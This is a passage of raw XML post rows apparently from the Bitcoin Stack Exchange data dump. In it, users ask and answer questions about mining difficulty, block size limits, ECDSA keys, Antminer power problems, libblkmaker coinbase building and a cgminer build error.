  <row Id="42687" PostTypeId="2" ParentId="42686" CreationDate="2016-02-01T13:07:29.887" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: does this &quot;desired pattern&quot; always have the same leading zeros?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or does that change now and then?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It changes every ~14 days (2016 blocks). The change depends on the hashing power of the bitcoin network at that moment. The new required hash needs to have that many leading zeros so that it takes ~10 minutes to find that hash.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Q: If it changes now and then, what triggers this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An algorithm triggers it. It's built into the bitcoin protocol. Every 2016 blocks the difficulty of finding a new block is recalculated.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="18196" LastEditDate="2016-02-01T14:35:49.557" LastActivityDate="2016-02-01T14:35:49.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42691" PostTypeId="2" ParentId="42676" CreationDate="2016-02-01T23:11:04.587" Score="2" Body="&lt;p&gt;You can make a manual copy of the QR code. Get out a sheet of graph paper, a #2 pencil, and start copying the grid from the QR code. Count the number of rows, and make sure your graph paper is large enough. Each square in the QR code should be either entirely filled in or entirely blank. As long as each square in the QR code is legible to you, you can make a clean version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't need to get every square correct - QR codes have an error correction code.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-02-01T23:11:04.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42696" PostTypeId="5" CreationDate="2016-02-02T08:40:45.037" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T08:40:45.037" LastActivityDate="2016-02-02T08:40:45.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42697" PostTypeId="4" CreationDate="2016-02-02T08:40:45.037" Score="0" Body="A block that is part of an alternative branch in the blockchain and doesn't belong to the longest chain. Stale blocks occur when the blockchain forks, but another competing block at the same height ends up parenting the new longest chain." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T08:40:45.037" LastActivityDate="2016-02-02T08:40:45.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42698" PostTypeId="5" CreationDate="2016-02-02T08:52:41.590" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T08:52:41.590" LastActivityDate="2016-02-02T08:52:41.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42699" PostTypeId="4" CreationDate="2016-02-02T08:52:41.590" Score="0" Body="A block whose parent is not available to the client. Often falsely used for [stale-block]." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T08:52:41.590" LastActivityDate="2016-02-02T08:52:41.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42700" PostTypeId="1" CreationDate="2016-02-02T09:05:50.330" Score="0" ViewCount="213" Body="&lt;p&gt;When I try to send bitcoins via &lt;code&gt;move&lt;/code&gt; or &lt;code&gt;sendfrom&lt;/code&gt; nothing happends, I dont het any errors. I use a very simple script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try {&#xA;    $_SESSION['message'] = $bitcoin-&amp;gt;sendfrom($_COOKIE['login_user'], $_POST['address'], $_POST['amount']);&#xA;}&#xA;    catch (Exception $e) {&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't get any output in the session message and no error. The user cookie contains and existing user in bitcoind with enough money. POST address contains a valid address. POST ammount contains 0.0008. Does someone know what is wrong.&lt;/p&gt;&#xA;" OwnerUserId="31880" LastActivityDate="2016-02-02T09:05:50.330" Title="easybitcoin sendfrom not working to errors" Tags="|bitcoind|php|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42701" PostTypeId="5" CreationDate="2016-02-02T09:22:00.060" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T09:22:00.060" LastActivityDate="2016-02-02T09:22:00.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42702" PostTypeId="4" CreationDate="2016-02-02T09:22:00.060" Score="0" Body="Questions about the manner, speed and incentives of relaying transactions in the Bitcoin network." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T09:22:00.060" LastActivityDate="2016-02-02T09:22:00.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42703" PostTypeId="1" AcceptedAnswerId="42705" CreationDate="2016-02-02T09:29:31.037" Score="3" ViewCount="76" Body="&lt;p&gt;As per my understanding &lt;code&gt;CTransactions&lt;/code&gt; represents the atomic unit in Bitcoin. It has the inputs &lt;code&gt;CTxIn&lt;/code&gt; and outputs &lt;code&gt;CTxOut&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any expert give the intuition of why we need &lt;code&gt;CCoins&lt;/code&gt; in source code ? Why should we have a separate pruned class just for storing outputs ?  &lt;/p&gt;&#xA;" OwnerUserId="30161" LastEditorUserId="5406" LastEditDate="2016-02-02T16:21:19.210" LastActivityDate="2016-02-02T16:21:19.210" Title="Why do we need CCoins in addition to CTransactions?" Tags="|transactions|bitcoin-core-development|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42704" PostTypeId="1" CreationDate="2016-02-02T10:40:53.893" Score="2" ViewCount="381" Body="&lt;p&gt;I currently trying to develop a simple Bitcoin miner in c++ for a project on my university. For parsing the 'getblocktemplate'-data I'm using &lt;a href=&quot;https://github.com/bitcoin/libblkmaker&quot; rel=&quot;nofollow&quot;&gt;libblkmaker&lt;/a&gt;.&#xA;Now I have to build the coinbase transaction for the 'blktmpl', but I don't really know how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Anyone knows how to add a coinbase transaction to the block-template with 'libblkmaker'?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And how do I add my bitcoin address to this?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help,&#xA;Sebastian&lt;/p&gt;&#xA;" OwnerUserId="32611" LastEditorUserId="5406" LastEditDate="2016-02-02T16:23:22.287" LastActivityDate="2016-08-01T19:22:33.213" Title="How to add coinbase transaction with libblkmaker" Tags="|block|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42705" PostTypeId="2" ParentId="42703" CreationDate="2016-02-02T11:26:36.940" Score="5" Body="&lt;p&gt;CCoins is an internal data structure, used to represented entries in the UTXO set while cached in memory (see CCoinsViewCache).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is separate from CTransaction for efficiency and utility reasons. It lacks a vector for the output, saving space. It also has a much more efficient serialized form, allowing a more compact database on disk. Furthermore it has convenience methods that we wouldn't want in a base data type that's used everywhere. As CCoins is only used inside the consensus validation logic, it can be more specific.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2016-02-02T11:26:36.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42706" PostTypeId="5" CreationDate="2016-02-02T12:15:48.180" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T12:15:48.180" LastActivityDate="2016-02-02T12:15:48.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42707" PostTypeId="4" CreationDate="2016-02-02T12:15:48.180" Score="0" Body="Refers to mining setups that rely on rented mining hardware." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T12:15:48.180" LastActivityDate="2016-02-02T12:15:48.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42708" PostTypeId="1" CreationDate="2016-02-02T12:58:50.843" Score="2" ViewCount="3810" Body="&lt;p&gt;Before asking the question I'll better introduce what I am doing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Antminer S7 (Bought from BitMain)&lt;/li&gt;&#xA;&lt;li&gt;BitMain PSU (Bought from BitMain)&lt;/li&gt;&#xA;&lt;li&gt;220V &amp;amp; 10-16A &amp;amp; 3*0.75mm^2  Power Cord for the PSU&lt;/li&gt;&#xA;&lt;li&gt;A &lt;a href=&quot;http://www.daiyo.com.sg/index.php?route=product/product&amp;amp;product_id=110&quot; rel=&quot;nofollow noreferrer&quot;&gt;DAIYO laptop power protector&lt;/a&gt; which supports 10-16A &amp;amp; 250V&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Yesterday, I received my Antminer S7, so when I had connected the PCI pins I connected the PSU's power cord with the laptop power adapter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result looked like this:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K59Jz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K59Jz.jpg&quot; alt=&quot;Antminer plugged in&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the Antminer powered up with variable fan speed. I connected the network cable and when I was going to my PC to configure the Antminer it just powered off. I am not sure which one powered off first, the PSU or the Antminer but they both had turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran to unplug the Power Cord (It was very hot), so I thought that the power cord may have burned. To test that I connected it to my computer's psu and my computer didn't power up. So I think that it was burned, but 30min later my father tested it again and this time my computer powered up.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can you tell me what the problem could be?&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;What made my Antminer to turn off automatically?&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Someone told me I should have used a 3*1.5mm^2 Power Cord, is that the answer?&lt;/li&gt;&#xA;&lt;li&gt;Could the Antminer have been damaged?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="5406" LastEditDate="2016-02-03T14:42:49.030" LastActivityDate="2021-08-29T05:03:45.367" Title="Why does my Antminer S7 power down right after startup?" Tags="|mining-hardware|mining-setup|antminer|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42709" PostTypeId="5" CreationDate="2016-02-02T16:38:28.370" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T16:38:28.370" LastActivityDate="2016-02-02T16:38:28.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42710" PostTypeId="4" CreationDate="2016-02-02T16:38:28.370" Score="0" Body="Questions about sharing wallets between different devices." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-02-02T16:38:28.370" LastActivityDate="2016-02-02T16:38:28.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42711" PostTypeId="1" AcceptedAnswerId="47880" CreationDate="2016-02-02T16:54:55.037" Score="0" ViewCount="1278" Body="&lt;p&gt;As I introduced in my previous question which no one answered I'm having some problems with bitmain's power cord &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the simple main question is what power  cord to use ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a 250v 10-16A 3*0.75mm^2&#xA;And had problems &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/42708/antminer-s7-turned-off-automatically&quot;&gt;My previous post&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-08-04T13:58:29.563" Title="What power cord to use with BITMAIN PSU?" Tags="|mining-hardware|mining-setup|antminer|psu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42713" PostTypeId="1" CreationDate="2016-02-02T18:44:17.010" Score="2" ViewCount="1040" Body="&lt;p&gt;It's widely known that Bitcoin has a limit of &lt;code&gt;1 MB&lt;/code&gt; per block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the average block size is currently about &lt;code&gt;0.6 MB&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbH9G.png&quot; alt=&quot;Bitcoin average block size&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://blockchain.info/charts/avg-block-size&quot; rel=&quot;nofollow noreferrer&quot;&gt;original data&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this &lt;a href=&quot;https://tradeblock.com/bitcoin/historical/1h-f-tsize_per_avg-01101&quot; rel=&quot;nofollow noreferrer&quot;&gt;thread&lt;/a&gt;, Bitcoin transactions has an average size of &lt;code&gt;512 B&lt;/code&gt;. For the sake of simplicity, I'm not considering the &lt;code&gt;80 B&lt;/code&gt; of block header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that, it's possible to fit about &lt;code&gt;1200&lt;/code&gt; transactions in a block today. Considering that a new block will be mined every 10 minutes, the current capacity of the network is &lt;code&gt;2 tps&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1200 transactions/block / 10 min/block / 60 sec/min = 2 transactions/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems like a very low throughput, specially when compared to Paypal's average rate of &lt;code&gt;~115tps&lt;/code&gt; and Visa's average rate of &lt;code&gt;~2000 tps&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now imagine that I want to build a side chain that can handle as much traffic as Visa network. I want to mantain most of the parameters of the Bitcoin's blockchain (10 min/block, ~512 B/transaction), but being able to process &lt;code&gt;2000 tps&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, my block size would be the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2000 transaction/s * 512 B/transaction * 60 s/min * 10 min/block = 586 MB/block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the estimate above correct, or am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's correct, what are the impacts of switching from a &lt;code&gt;1 MB&lt;/code&gt; block size to &lt;code&gt;586 MB&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="21351" LastEditorUserId="5406" LastEditDate="2016-02-03T08:45:00.667" LastActivityDate="2016-02-03T08:45:00.667" Title="Block size depending on transaction count" Tags="|block-size-increase|blocksize|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42714" PostTypeId="2" ParentId="42713" CreationDate="2016-02-02T19:19:00.603" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the estimate above correct, or am I missing something?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Your estimations seem (more or less) fine.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If it's correct, what are the impacts of switching from a 1 MiB block size to 586 MiB?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The two major ones I see are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;large blocks make full nodes more difficult/expensive to operate (i.e. requires better specs and better upload/download speeds); thus bad for decentralization as not many people will be able to run a full node&lt;/li&gt;&#xA;&lt;li&gt;the blocks will take longer to propagate through the network, thus it increases the chances of orphan blocks and double spends.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For a more detailed list see &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_size_limit_controversy#Arguments_in_opposition_to_increasing_the_blocksize&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, that these concerns/drawbacks for an increased block size were raised for a 4, 8 or 32MBs increase... a 586MB increase would be way too excessive. And if you keep the parameters similar to bitcoin you would have the same issues in the side chain.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastEditorUserId="31844" LastEditDate="2016-02-02T19:58:28.280" LastActivityDate="2016-02-02T19:58:28.280" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42715" PostTypeId="2" ParentId="42713" CreationDate="2016-02-02T19:54:38.080" Score="1" Body="&lt;p&gt;This is what the current block size debate is about and has been for more than a year now. I'll try not to repeat all of that here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your numbers seem roughly correct. Whether 600MB blocks are possible in your side chain depends on how your side chain would work. If you get rid of the Proof-of-Work security and it's all data center grade hardware and bandwidth between parties that trust each other to some degree, then there is no problem. It would probably make sense to lower the block time in that case too, for example 60MB every 1 minute. In fact, blocks probably wouldn't make sense at all anymore, why not just an append-only database of single transactions with some checksums for security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sidechains can trade some properties to gain other properties, which could make perfect sense. In the above example you trade decentralized trustless for high efficiency but trusted (users need to trust you and some other parties involved, and the government(s), and... ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin itself has as primary property that it's decentralized. Uncensorable, low barrier to entry for miners and for full nodes, peer2peer and all those good things are very much related and intertwined with that primary property. 600MB per block would completely destroy all that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is not to say there aren't many way cooler tricks that Bitcoin has up its sleeve. SegWit is currently being rolled out and will make making blocks smaller for certain nodes and better prunable, while making the effective blocksize around 1.75MB. As well as opening up paths to many more cool efficiency improvements like making multi-sig transactions significantly smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An even bigger step will be made with two-way payment channels and networks built using those. Lightning Network is most well known name in this space. The idea is to cache hundreds and thousands (or orders more) of small transactions over weeks or months without putting a single one in a block. Only at the very beginning when opening such a channel and at the end when closing the channel will a transaction actually end up in a block. Organising these channels in a peer2peer network allows anyone to send and forward money through multiple hops, thus allowing everyone to pay anyone else without having to trust a single node and even having true instant and trustless payments (no need to wait for block confirmations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling is seldom simply turning one dial merely making an existing thing larger. Clever solutions have a much bigger impact while offering better trade offs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excuse me for not answering your exact question of listing all impacts of switching to a large block size. They are numerous and each can lead to its own endless bike shedding and handwaving discussion. The most important is that once a block has been mined it needs to propagate ASAP around the world or there's a risk that another miner will find another block where one of those blocks will be &quot;orphaned&quot; (wasted). More orphaned blocks leads to more centralized mining, as bigger miners have a bigger chance to win such an orphan race. &quot;ASAP&quot; in the case of a 10 minute interval is therefore on the order of seconds. Now that doesn't mean that the whole 600MB would need to be transferred to all nodes around the world within a few seconds, but it's still quite a challenge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently 2MB is deemed the maximum safe blocksize, which SegWit pretty much covers. After further enhancements and efficiency improvements another doubling is likely possible in one or two years.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-02-02T19:54:38.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42718" PostTypeId="2" ParentId="42704" CreationDate="2016-02-03T00:04:48.980" Score="1" Body="&lt;p&gt;To set a generating address, use &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/miner.c#L1343&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;set_generate_addr&lt;/code&gt;&lt;/a&gt;. &lt;a href=&quot;https://github.com/bitcoin/libblkmaker/blob/master/blkmaker.c#L50&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;blkmk_init_generation3&lt;/code&gt;&lt;/a&gt; may also be what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The author of that library also wrote a miner, &lt;a href=&quot;https://github.com/luke-jr/bfgminer/&quot; rel=&quot;nofollow&quot;&gt;BFGMiner&lt;/a&gt;, that uses his library. Look at how he calls these &lt;code&gt;libblkmaker&lt;/code&gt; function to add a coinbase transaction to the block header in &lt;a href=&quot;https://github.com/luke-jr/bfgminer/blob/bfgminer/miner.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;miner.c&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="4334" LastEditDate="2016-02-03T16:48:35.990" LastActivityDate="2016-02-03T16:48:35.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42719" PostTypeId="1" CreationDate="2016-02-03T00:05:13.867" Score="3" ViewCount="919" Body="&lt;p&gt;I want to know how one can query bitcoin core via json rpc or other methods to find all the transaction fees in a block? API queries are not useful as they have a rate limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example block, for which i want to calculate transaction fees &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block/0000000000000000059134ebb840559241e8e2799f3ebdff56723efecfd6567a&quot; rel=&quot;nofollow&quot;&gt;block number 395545&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32635" LastActivityDate="2016-03-21T11:15:00.977" Title="calculate transaction fee in a block" Tags="|bitcoind|bitcoin-core|transaction-fees|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42721" PostTypeId="1" AcceptedAnswerId="42728" CreationDate="2016-02-03T02:18:11.283" Score="6" ViewCount="1024" Body="&lt;p&gt;If private and public keys are performing the same task (although asymmetrically), but I mean each one can encrypt something that only the other one can decrypt, can I create a paper wallet and share my &quot;private key&quot; and just keep my &quot;public key&quot; private?&lt;/p&gt;&#xA;" OwnerUserId="23087" LastActivityDate="2016-02-03T15:23:54.523" Title="Why can't we switch private and public keys?" Tags="|private-key|public-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42722" PostTypeId="2" ParentId="42721" CreationDate="2016-02-03T03:04:58.617" Score="6" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your private key can be decoded/reversed to reveal your public key. Public keys can not be reversed to reveal the private key. If you share your private key they have EVERYTHING.&lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-02-03T03:04:58.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42723" PostTypeId="1" CreationDate="2016-02-03T07:23:25.840" Score="1" ViewCount="1587" Body="&lt;p&gt;I have Bitcoin-qt installed and running on an external Hard Drive.  Where should I put the bitcoin.conf file so I can configure it with the server setting, user, and password?&lt;/p&gt;&#xA;" OwnerDisplayName="user31364" LastEditorUserId="5406" LastEditDate="2017-05-26T16:03:28.173" LastActivityDate="2017-05-26T16:03:28.173" Title="Bitcoin-qt bitcoin.conf location?" Tags="|bitcoin.conf|bitcoin-qt-setup|" AnswerCount="1" CommentCount="1" ClosedDate="2017-05-26T16:08:10.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="42724" PostTypeId="2" ParentId="38424" CreationDate="2016-02-03T09:49:05.227" Score="1" Body="&lt;p&gt;A 256 bit hash of any string will result in a 256 bit (AKA 32 character) hash.  For this reason, any string longer than 32 characters will collide with a hash of some other string, potentially one that is only 3 or 4 characters long.  The risk is ridiculously low, of course, but it's still there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choosing a &gt;100 character string to hash (which can certainly be done) is not necessarily more secure than choosing a 32 character string to hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be super careful what you use as a password/passphrase, though.  No full words or names, in any language.  Do not use common phrases or quotes, or pieces of such.  For example, using the first letters of all of the words of the Gettysburg address, although making for a long passphrase, is actually pretty likely to be stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you could do, however, is start with a root passphrase, hash it, and combine that hash with another passphrase, and repeat the process until you are satisfied with the result.&lt;/p&gt;&#xA;" OwnerUserId="32647" LastActivityDate="2016-02-03T09:49:05.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42725" PostTypeId="1" CreationDate="2016-02-03T11:12:31.210" Score="1" ViewCount="112" Body="&lt;p&gt;After two days of researching I finally got my private key! However when I import it in Blockchain, it says 'no free outputs to spend'. How do I fix this?&lt;/p&gt;&#xA;" OwnerUserId="32436" LastEditorUserId="5292" LastEditDate="2016-02-03T14:43:56.993" LastActivityDate="2016-02-03T14:43:56.993" Title="I imported my private key into blockchain.info but it says 'no free outputs to spend'?" Tags="|blockchain.info|private-key-import|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42726" PostTypeId="2" ParentId="42708" CreationDate="2016-02-03T13:16:00.120" Score="1" Body="&lt;p&gt;I'm guessing that the PSU kicked off from the overload circuit protection.  I don't have this miner nor do I use 250V setup.  However from observation your equipment setup appears correct.  Could you try just the psu by itself?  Leave it on for maybe 5 minutes - nothing should happen and the cord should remain cool.  Was the cord itself really hot or was the adaptor on the wall hot too?  The miner should be okay (if it's not defective) I don't recall having antminer equipment that shut off, but if your wiring is really hot then consider buying lower gage wire (thicker) - though at this point I would also consider putting the surge protector between the pc and see if that seems to continue to work (though if all those things seem to pass then consider trying it one last time) It could be built in overload protection on the PSU kicking in as well, if it overloads and turns off on the 2nd round then you should try to get bitmain involved as you never even got the chance to use the device - maybe the surge protection is also a factor here though so perhaps try it without that...I mean that seems unlikely, but try to rule out pieces if you can while testing (unless its dangerous to do so)&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2016-02-03T13:16:00.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42727" PostTypeId="2" ParentId="42607" CreationDate="2016-02-03T13:35:50.193" Score="0" Body="&lt;p&gt;The answer is No. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are purchasing something with that USD 500. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You now own an amount of coins. The number is the based on the current exchange rate of USD to Bitcoin minus the transaction fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value of bitcoin goes down to zero, your &quot;investment&quot; is worth zero. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;end of.&lt;/p&gt;&#xA;" OwnerUserId="967" LastActivityDate="2016-02-03T13:35:50.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42728" PostTypeId="2" ParentId="42721" CreationDate="2016-02-03T15:23:54.523" Score="8" Body="&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot;&gt;ECDSA&lt;/a&gt; signature algorithm used by Bitcoin doesn't have symmetry between its private and public keys.  If you read about how the algorithm works, they aren't even the same type of mathematical object: a private key is an integer, while a public key is a point on an elliptic curve.  They do not, in your words, &quot;perform the same task.&quot;  So you can't do that.  (It's not at all clear why you would want to, in the first place.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, ECDSA is an algorithm for digital signatures, not encryption; ECDSA can't be used to encrypt or decrypt secret data at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The property that &quot;each one can encrypt something the other can decrypt&quot; is a special feature of the  &lt;a href=&quot;https://en.wikipedia.org/wiki/RSA_%28cryptosystem%29&quot;&gt;RSA&lt;/a&gt; algorithm.  In this particular cryptosystem, signing and verifying (and encryption/decryption) use the same process; people sometimes say that signing in RSA consists of &quot;encrypting using the private key&quot;. One could interchange the roles of the private and public keys, and the algorithm would still work mathematically.   But this isn't a general feature of all asymmetric cryptosystems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Even for RSA, although mathematically you could switch the private and public keys, this would totally blow its security: as typically implemented, the public exponent is an arbitrary integer that doesn't have to be secret, and people usually just use 65537.  But the private exponent is hard to compute without knowing the primes used to generate the key. So if you released what was intended to be the &quot;private&quot; key as your public key, people would have no trouble guessing the other key as well, and then you have no security.)&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2016-02-03T15:23:54.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42730" PostTypeId="1" AcceptedAnswerId="42739" CreationDate="2016-02-03T17:50:08.983" Score="1" ViewCount="1346" Body="&lt;p&gt;I am using Fedora 22, 32bit OS and have Antminer U3 for mining operations&lt;/p&gt;&#xA;&#xA;&lt;p&gt;got the cgminer source code from GIT:&#xA;git clone &lt;a href=&quot;https://github.com/bitmaintech/cgminer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitmaintech/cgminer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while running &lt;strong&gt;./configure --enable-icarus&lt;/strong&gt; the command ends up in error as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./configure: line 11972: -pthread: command not found&#xA;checking libudev.h usability... no&#xA;checking libudev.h presence... no&#xA;checking for libudev.h... no&#xA;configure: error: &quot;udev support requested but libudev not installed&quot;&#xA;configure: error: ./configure failed for compat/libusb-1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried using system libusb, but no success&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;./configure --enable-icarus 